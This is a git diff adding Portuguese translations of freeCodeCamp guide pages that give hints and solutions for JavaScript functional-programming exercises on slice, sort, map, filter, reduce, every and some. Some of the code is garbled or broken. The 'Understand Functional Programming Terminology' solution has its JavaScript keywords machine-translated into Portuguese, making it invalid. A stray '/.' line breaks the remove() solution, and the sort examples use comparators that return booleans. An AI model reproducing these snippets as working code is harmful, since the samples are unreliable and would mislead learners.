+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
@@ -0,0 +1,48 @@
+---
+title: Learn About Functional Programming
+localeTitle: Aprenda sobre a programação funcional
+---
+## Aprenda sobre a programação funcional
+
+Uma função tem uma entrada ou um parâmetro `const myFunc = (input) => { ...code to execute... }` . Neste caso, a entrada é quantas xícaras de chá devem ser criadas.  
+
+### Método
+
+Apenas uma linha de código deve ser alterada para passar esse desafio. A função `getTea()` deve ser chamada e armazenada na variável `tea4TeamFCC` . Certifique-se de ler a função `getTea()` e entender exatamente o que ela faz. A função recebe uma variável - `numOfCups` . Um array `teaCups[]` é criado primeiro e um loop for é configurado para contar o número de cups passados ​​para a função. Uma nova xícara de chá é então empurrada para o array a cada iteração do loop for.
+
+Assim, resultando em um array cheio da quantidade de xícaras originalmente passadas para a função `getTea()` .
+
+### Solução
+
+```javascript
+/** 
+ * A long process to prepare tea. 
+ * @return {string} A cup of tea. 
+ **/ 
+ const prepareTea = () => 'greenTea'; 
+ 
+ /** 
+ * Get given number of cups of tea. 
+ * @param {number} numOfCups Number of required cups of tea. 
+ * @return {Array<string>} Given amount of tea cups. 
+ **/ 
+ const getTea = (numOfCups) => { 
+  const teaCups = []; 
+ 
+  for(let cups = 1; cups <= numOfCups; cups += 1) { 
+    const teaCup = prepareTea(); 
+    teaCups.push(teaCup); 
+  } 
+ 
+  return teaCups; 
+ }; 
+ 
+ // Add your code below this line 
+ 
+ const tea4TeamFCC = getTea(40); // :( 
+ 
+ // Add your code above this line 
+ 
+ console.log(tea4TeamFCC); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
new file mode 100644
index 0000000000..ba0fab38dc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Pass Arguments to Avoid External Dependence in a Function
+localeTitle: Passar Argumentos para Evitar Dependência Externa em uma Função
+---
+## Passar Argumentos para Evitar Dependência Externa em uma Função
+
+## Sugestão: 1
+
+Tente passar o argumento para funcionar e retornar um valor maior desse argumento.
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+// the global variable 
+ var fixedValue = 4; 
+ 
+ // Add your code below this line 
+ function incrementer (value) { 
+  return value + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(fixedValue); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+```
+
+### Método
+
+Este código irá fornecer o mesmo resultado que o último desafio, só que desta vez vamos passar o `fixedValue` para a função como um parâmetro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
new file mode 100644
index 0000000000..fa5b23af3e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/refactor-global-variables-out-of-functions/index.md
@@ -0,0 +1,46 @@
+---
+title: Refactor Global Variables Out of Functions
+localeTitle: Refatorar variáveis ​​globais com funções
+---
+## Refatorar variáveis ​​globais com funções
+
+*   Se você está tendo problemas com a mudança de bookList, tente usar uma cópia do array em suas funções.
+    
+*   Aqui estão mais algumas informações sobre \[como o JavaScript lida com os argumentos de função\] (https://codeburst.io/javascript-passing-by-value-vs-reference -plicated-in-plain-english-8d00fd06a47c).
+    
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+## Solução 1
+
+```javascript
+function add (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  newArr.push(bookName);  // Add bookName parameter to the end of the new array. 
+  return newArr; // Return the new array. 
+ } 
+ 
+ function remove (arr, bookName) { 
+  let newArr = [...arr];  // Copy the bookList array to a new array. 
+  if (newArr.indexOf(bookName) >= 0) {   // Check whether the bookName parameter is in new array. 
+    /. 
+    newArr.splice(newArr.indexOf(bookName), 1); // Remove the given paramater from the new array. 
+    return newArr; // Return the new array. 
+    } 
+ } 
+```
+
+## Solução 2
+
+```javascript
+function add (list,bookName) { 
+  return [...list, bookName]; 
+ } 
+ 
+ function remove (list,bookName) { 
+  if (list.indexOf(bookName) >= 0) { 
+    return list.filter((item) => item !== bookName); 
+    } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
new file mode 100644
index 0000000000..bf3cc0154b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/remove-elements-from-an-array-using-slice-instead-of-splice/index.md
@@ -0,0 +1,24 @@
+---
+title: Remove Elements from an Array Using slice Instead of splice
+localeTitle: Remover elementos de um array usando slice Em vez de splice
+---
+## Remover elementos de um array usando slice Em vez de splice
+
+*   A diferença entre o método splice e slice é que o método slice não altera o array original, mas retorna um novo.
+*   O método de fatia leva 2 dois argumentos para os índices começarem e terminarem a fatia (o final não é inclusivo).
+*   Se você não quiser alterar o array original, poderá usar o método de fatia.
+
+## Solução
+
+```javascript
+function nonMutatingSplice(cities) { 
+  // Add your code below this line 
+ 
+  return cities.slice(0, 3); 
+ 
+  // Add your code above this line 
+ } 
+ var inputCities = ["Chicago", "Delhi", "Islamabad", "London", "Berlin"]; 
+ nonMutatingSplice(inputCities); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
new file mode 100644
index 0000000000..0b76eb05ae
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-a-sorted-array-without-changing-the-original-array/index.md
@@ -0,0 +1,24 @@
+---
+title: Return a Sorted Array Without Changing the Original Array
+localeTitle: Retornar uma matriz classificada sem alterar a matriz original
+---
+## Retornar uma matriz classificada sem alterar a matriz original
+
+### Método
+
+Em primeiro lugar concatene a matriz tomada como um parâmetro para uma nova matriz vazia. Em seguida, use o método `sort()` como visto no último desafio e crie uma função para classificar a nova matriz em ordem crescente.
+
+### Solução
+
+```javascript
+var globalArray = [5, 6, 3, 2, 9]; 
+ function nonMutatingSort(arr) { 
+  // Add your code below this line 
+  return [].concat(arr).sort(function(a, b) { 
+    return a - b; 
+  }); 
+  // Add your code above this line 
+ } 
+ nonMutatingSort(globalArray); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
new file mode 100644
index 0000000000..bfe13224a1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/return-part-of-an-array-using-the-slice-method/index.md
@@ -0,0 +1,34 @@
+---
+title: Return Part of an Array Using the slice Method
+localeTitle: Retornar parte de uma matriz usando o método de fatia
+---
+## Retornar parte de uma matriz usando o método de fatia
+
+### Explicação do Problema
+
+Use o método de fatia na função sliceArray para retornar parte do array anim dado os índices beginSlice e endSlice fornecidos. A função deve retornar uma matriz.
+
+### Método
+
+A função pode ser escrita simplesmente escrevendo uma linha de código - uma declaração de retorno. Assim como no exemplo dado, corte a matriz que a função usa como parâmetro usando os parâmetros `beginSlice` e `endSlice` como parâmetros para o método `slice()` . Lembre-se da estrutura do método `slice()` :
+
+```javascript
+var arr = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ arr.slice([index-to-begin-slice] , [index-to-end-slice]); 
+```
+
+### Solução
+
+```javascript
+function sliceArray(anim, beginSlice, endSlice) { 
+  // Add your code below this line 
+  return anim.slice(beginSlice, endSlice); 
+  // Add your code above this line 
+ } 
+ var inputAnim = ["Cat", "Dog", "Tiger", "Zebra", "Ant"]; 
+ sliceArray(inputAnim, 1, 3); 
+```
+
+#### Links Relevantes:
+
+*   [Array.prototype.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
new file mode 100644
index 0000000000..fe804e4b91
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/sort-an-array-alphabetically-using-the-sort-method/index.md
@@ -0,0 +1,35 @@
+---
+title: Sort an Array Alphabetically using the sort Method
+localeTitle: Ordenar uma matriz em ordem alfabética usando o método de classificação
+---
+## Ordenar uma matriz em ordem alfabética usando o método de classificação
+
+### Método
+
+No exemplo dado, vemos como escrever uma função que retornará uma nova matriz em ordem alfabética inversa.
+
+```javascript
+function reverseAlpha(arr) { 
+  return arr.sort(function(a, b) { 
+    return a < b; 
+  }); 
+ } 
+ reverseAlpha(['l', 'h', 'z', 'b', 's']); 
+ // Returns ['z', 's', 'l', 'h', 'b'] 
+```
+
+Usando essa lógica, simplesmente faça engenharia reversa da função para retornar uma nova matriz em ordem alfabética.
+
+### Solução
+
+```javascript
+function alphabeticalOrder(arr) { 
+  // Add your code below this line 
+  return arr.sort(function(a,b) { 
+    return a > b; 
+  }); 
+  // Add your code above this line 
+ } 
+ alphabeticalOrder(["a", "d", "c", "a", "z", "g"]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
new file mode 100644
index 0000000000..df891ccf79
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/split-a-string-into-an-array-using-the-split-method/index.md
@@ -0,0 +1,23 @@
+---
+title: Split a String into an Array Using the split Method
+localeTitle: Dividir uma string em uma matriz usando o método de divisão
+---
+## Dividir uma string em uma matriz usando o método de divisão
+
+### Método
+
+Basta dividir a string para criar uma nova matriz de palavras.
+
+Uma expressão regular simples pode ser usada para alcançar este resultado.
+
+### Solução
+
+```javascript
+function splitify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/); 
+  // Add your code above this line 
+ } 
+ splitify("Hello World,I-am code"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
new file mode 100644
index 0000000000..002b55fb11
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-functional-programming-terminology/index.md
@@ -0,0 +1,51 @@
+---
+title: Understand Functional Programming Terminology
+localeTitle: Entenda a terminologia de programação funcional
+---
+## Entenda a terminologia de programação funcional
+
+### Método
+
+Assim como no último desafio, você deve chamar o método `getTea` e armazená-lo em uma variável. Só que desta vez, você tem 2 variáveis ​​para armazenar 2 conjuntos separados de dados. Você verá que a função `getTea()` é a mesma de antes, só que agora leva 2 parâmetros separados. O primeiro parâmetro é uma função, portanto, precisaremos passar a função `prepareGreenTea()` ou a função `prepareBlackTea()` , seguida pelo segundo parâmetro `numOfCups` que pode ser inserido como um inteiro.
+
+### Solução
+
+Neste exercício, estamos atribuindo o resultado de uma função de ordem superior às variáveis. Para fazer isso, chamamos uma função com uma função de retorno de chamada como um parâmetro.
+
+## Dica:
+
+`javascript const basketOne = makeBasket(addFruit, 10)`
+
+\## Solução:
+
+\`\` \`javascript
+
+/ \*\*
+
+*   Um longo processo para preparar o chá verde.
+*   @return {string} Uma xícara de chá verde. \*\* / const prepareGreenTea = () => 'greenTea';
+
+/ \*\*
+
+*   Obter determinado número de xícaras de chá.
+    
+*   @param {function (): string} prepareTea O tipo de função de preparação de chá.
+    
+*   @param {number} numOfCups Número de xícaras de chá necessárias.
+    
+*   @return {Matriz } Dada quantidade de xícaras de chá. \*\* / const getTea = (prepareTea, numOfCups) => { teaCups const = \[\];
+    
+    para (deixar xícaras = 1; xícaras <= numOfCups; xícaras + = 1) { const teaCup = prepareTea (); teaCups.push (teaCup); }
+    
+    retornar teaCups; };
+    
+    // Adicione seu código abaixo desta linha const tea4GreenTeamFCC = getTea (prepareGreenTea, 27); // :) const tea4BlackTeamFCC = getTea (prepareBlackTea, 13); // :) // Adicione seu código acima desta linha
+    
+    console.log ( tea4GreenTeamFCC, tea4BlackTeamFCC );
+    
+    \`\` \`
+    
+
+## Explicação de código:
+
+Na solução acima, passamos as funções `prepareGreenTea()` e `prepareBlackTea()` como parâmetros ou funções de retorno de chamada para as funções `getTea()` estão sendo atribuídas às nossas duas variáveis ​​constantes `tea4BlackTeamFCC` e `tea4GreenTeamFCC` . Desta forma, nenhuma variável global é alterada e temos a opção de adicionar um número ilimitado de opções diferentes de métodos `prepareTea()` , já que é uma função de retorno de chamada passada para a função de ordem superior de `getTea()` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
new file mode 100644
index 0000000000..54ce0af354
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand the Hazards of Using Imperative Code
+localeTitle: Entenda os perigos do uso do código imperativo
+---
+## Entenda os perigos do uso do código imperativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/functional-programming/understand-the-hazards-of-using-imperative-code/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
new file mode 100644
index 0000000000..afd6554494
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-every-method-to-check-that-every-element-in-an-array-meets-a-criteria/index.md
@@ -0,0 +1,43 @@
+---
+title: Use the every Method to Check that Every Element in an Array Meets a Criteria
+localeTitle: Use o método Every para verificar se todos os elementos em uma matriz atendem a um critério
+---
+## Use o método Every para verificar se todos os elementos em uma matriz atendem a um critério
+
+### Explicação do Problema:
+
+Use o método `every` dentro da função `checkPositive` para verificar se todos os elementos em `arr` são positivos. A função deve retornar um valor booleano.
+
+#### Links Relevantes:
+
+*   [Array.prototype.every ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every)
+
+### Sugestão
+
+Não esqueça de `return` .
+
+## Solução
+
+```javascript
+function checkPositive(arr) { 
+  // Add your code below this line 
+ 
+  return arr.every(val => val > 0); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+```
+
+## Solução alternativa
+
+```javascript
+function checkPositive(arr) { 
+  // Add your code below this line 
+    return arr.every(function(value) { 
+        return value > 0; 
+    }); 
+  // Add your code above this line 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..f3cea4bfb9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-filter-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,22 @@
+---
+title: Use the filter method to extract data from an array
+localeTitle: Use o método filter para extrair dados de um array
+---
+## Use o método filter para extrair dados de um array
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Este desafio é resolvido em 2 etapas. Primeiro, Array.prototype.filter é usado para filtrar a matriz, deixando elementos que tenham imdbRating> 8.0. Depois disso, Array.prototype.map pode ser usado para moldar a saída para o formato desejado.
+
+### Solução
+
+```javascript
+// Add your code below this line 
+ 
+ var filteredList = watchList.map(function(e) { 
+  return {title: e["Title"], rating: e["imdbRating"]} 
+ }).filter((e) => e.rating >= 8); 
+ 
+ console.log(filteredList); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
new file mode 100644
index 0000000000..860d433e8b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-map-method-to-extract-data-from-an-array/index.md
@@ -0,0 +1,27 @@
+---
+title: Use the map Method to Extract Data from an Array
+localeTitle: Use o método map para extrair dados de uma matriz
+---
+## Use o método map para extrair dados de uma matriz
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+array.prototype.map assume uma função como na entrada e retorna uma matriz. A matriz retornada inclui elementos que são processados ​​pela função. Essa função usa elementos individuais como entrada.
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução de Código Intermediário:
+
+```javascript
+  rating = watchList.map( (item) => ({"title":item["Title"], "rating":item["imdbRating"]}) ); 
+```
+
+\### Explicação do código: Usando a notação ES6, cada item da matriz é processado para extrair o título e a classificação. Parantheses são necessários para retornar um objeto.
+
+#### Links Relevantes
+
+*   [Funções de seta](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
new file mode 100644
index 0000000000..e89818deb6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-reduce-method-to-analyze-data/index.md
@@ -0,0 +1,130 @@
+---
+title: Use the reduce Method to Analyze Data
+localeTitle: Use o método de redução para analisar dados
+---
+## Use o método de redução para analisar dados
+
+```javascript
+// the global variable 
+ var watchList = [ 
+                 { 
+                   "Title": "Inception", 
+                   "Year": "2010", 
+                   "Rated": "PG-13", 
+                   "Released": "16 Jul 2010", 
+                   "Runtime": "148 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Christopher Nolan", 
+                   "Actors": "Leonardo DiCaprio, Joseph Gordon-Levitt, Ellen Page, Tom Hardy", 
+                   "Plot": "A thief, who steals corporate secrets through use of dream-sharing technology, is given the inverse task of planting an idea into the mind of a CEO.", 
+                   "Language": "English, Japanese, French", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 4 Oscars. Another 143 wins & 198 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjAxMzY3NjcxNF5BMl5BanBnXkFtZTcwNTI5OTM0Mw@@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.8", 
+                   "imdbVotes": "1,446,708", 
+                   "imdbID": "tt1375666", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Interstellar", 
+                   "Year": "2014", 
+                   "Rated": "PG-13", 
+                   "Released": "07 Nov 2014", 
+                   "Runtime": "169 min", 
+                   "Genre": "Adventure, Drama, Sci-Fi", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan, Christopher Nolan", 
+                   "Actors": "Ellen Burstyn, Matthew McConaughey, Mackenzie Foy, John Lithgow", 
+                   "Plot": "A team of explorers travel through a wormhole in space in an attempt to ensure humanity's survival.", 
+                   "Language": "English", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 1 Oscar. Another 39 wins & 132 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMjIxNTU4MzY4MF5BMl5BanBnXkFtZTgwMzM4ODI3MjE@._V1_SX300.jpg", 
+                   "Metascore": "74", 
+                   "imdbRating": "8.6", 
+                   "imdbVotes": "910,366", 
+                   "imdbID": "tt0816692", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "The Dark Knight", 
+                   "Year": "2008", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Jul 2008", 
+                   "Runtime": "152 min", 
+                   "Genre": "Action, Adventure, Crime", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Jonathan Nolan (screenplay), Christopher Nolan (screenplay), Christopher Nolan (story), David S. Goyer (story), Bob Kane (characters)", 
+                   "Actors": "Christian Bale, Heath Ledger, Aaron Eckhart, Michael Caine", 
+                   "Plot": "When the menace known as the Joker wreaks havoc and chaos on the people of Gotham, the caped crusader must come to terms with one of the greatest psychological tests of his ability to fight injustice.", 
+                   "Language": "English, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 2 Oscars. Another 146 wins & 142 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTMxNTMwODM0NF5BMl5BanBnXkFtZTcwODAyMTk2Mw@@._V1_SX300.jpg", 
+                   "Metascore": "82", 
+                   "imdbRating": "9.0", 
+                   "imdbVotes": "1,652,832", 
+                   "imdbID": "tt0468569", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Batman Begins", 
+                   "Year": "2005", 
+                   "Rated": "PG-13", 
+                   "Released": "15 Jun 2005", 
+                   "Runtime": "140 min", 
+                   "Genre": "Action, Adventure", 
+                   "Director": "Christopher Nolan", 
+                   "Writer": "Bob Kane (characters), David S. Goyer (story), Christopher Nolan (screenplay), David S. Goyer (screenplay)", 
+                   "Actors": "Christian Bale, Michael Caine, Liam Neeson, Katie Holmes", 
+                   "Plot": "After training with his mentor, Batman begins his fight to free crime-ridden Gotham City from the corruption that Scarecrow and the League of Shadows have cast upon it.", 
+                   "Language": "English, Urdu, Mandarin", 
+                   "Country": "USA, UK", 
+                   "Awards": "Nominated for 1 Oscar. Another 15 wins & 66 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BNTM3OTc0MzM2OV5BMl5BanBnXkFtZTYwNzUwMTI3._V1_SX300.jpg", 
+                   "Metascore": "70", 
+                   "imdbRating": "8.3", 
+                   "imdbVotes": "972,584", 
+                   "imdbID": "tt0372784", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                }, 
+                { 
+                   "Title": "Avatar", 
+                   "Year": "2009", 
+                   "Rated": "PG-13", 
+                   "Released": "18 Dec 2009", 
+                   "Runtime": "162 min", 
+                   "Genre": "Action, Adventure, Fantasy", 
+                   "Director": "James Cameron", 
+                   "Writer": "James Cameron", 
+                   "Actors": "Sam Worthington, Zoe Saldana, Sigourney Weaver, Stephen Lang", 
+                   "Plot": "A paraplegic marine dispatched to the moon Pandora on a unique mission becomes torn between following his orders and protecting the world he feels is his home.", 
+                   "Language": "English, Spanish", 
+                   "Country": "USA, UK", 
+                   "Awards": "Won 3 Oscars. Another 80 wins & 121 nominations.", 
+                   "Poster": "http://ia.media-imdb.com/images/M/MV5BMTYwOTEwNjAzMl5BMl5BanBnXkFtZTcwODc5MTUwMw@@._V1_SX300.jpg", 
+                   "Metascore": "83", 
+                   "imdbRating": "7.9", 
+                   "imdbVotes": "876,575", 
+                   "imdbID": "tt0499549", 
+                   "Type": "movie", 
+                   "Response": "True" 
+                } 
+ ]; 
+ 
+ // Add your code below this line 
+ 
+ var averageRating = watchList.filter(x => x.Director === "Christopher Nolan").map(x => Number(x.imdbRating)).reduce((x1, x2) => x1 + x2) / watchList.filter(x => x.Director === "Christopher Nolan").length; 
+ 
+ // Add your code above this line 
+ 
+ console.log(averageRating); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
new file mode 100644
index 0000000000..f9e156b4f6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/functional-programming/use-the-some-method-to-check-that-any-elements-in-an-array-meet-a-criteria/index.md
@@ -0,0 +1,23 @@
+---
+title: Use the some Method to Check that Any Elements in an Array Meet a Criteria
+localeTitle: Use o método Some para verificar se todos os elementos em uma matriz atendem a um critério
+---
+## Use o método Some para verificar se todos os elementos em uma matriz atendem a um critério
+
+### Explicação do Problema
+
+Use o método some dentro da função checkPositive para verificar se algum elemento em arr é positivo. A função `checkPositive` deve retornar um valor booleano.
+
+#### Links Relevantes:
+
+*   [Array.prototype.some ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some)
+
+### Solução:
+
+```javascript
+function checkPositive(arr) { 
+  return arr.some((elem) => elem > 0); 
+ } 
+ checkPositive([1, 2, 3, -4, 5]); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/index.md
new file mode 100644
index 0000000000..e5b476a103
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures
+localeTitle: Algoritmos de Javascript e Estruturas de Dados
+---
+## Algoritmos de Javascript e Estruturas de Dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
new file mode 100644
index 0000000000..343960a68e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/arguments-optional/index.md
@@ -0,0 +1,215 @@
+---
+title: Arguments Optional
+localeTitle: Argumentos Opcional
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+## ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Pode ser bastante complicado entender o que precisa ser feito. Há sempre muitas maneiras de fazer algo ao codificar, mas independentemente do algoritmo usado, temos que criar um programa que faça o seguinte:
+
+*   Tem que adicionar dois números passados ​​como parâmetros e retornar a soma.
+*   Tem que verificar se algum dos números são números reais, caso contrário retorne **indefinido** e pare o programa ali mesmo.
+*   Tem que verificar se tem um ou dois argumentos passados. Mais são ignorados.
+*   Se ele tem apenas um argumento, ele deve retornar uma função que usa esse número e espera outro, para então incluí-lo.
+
+### Links Relevantes
+
+*   [Matrizes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
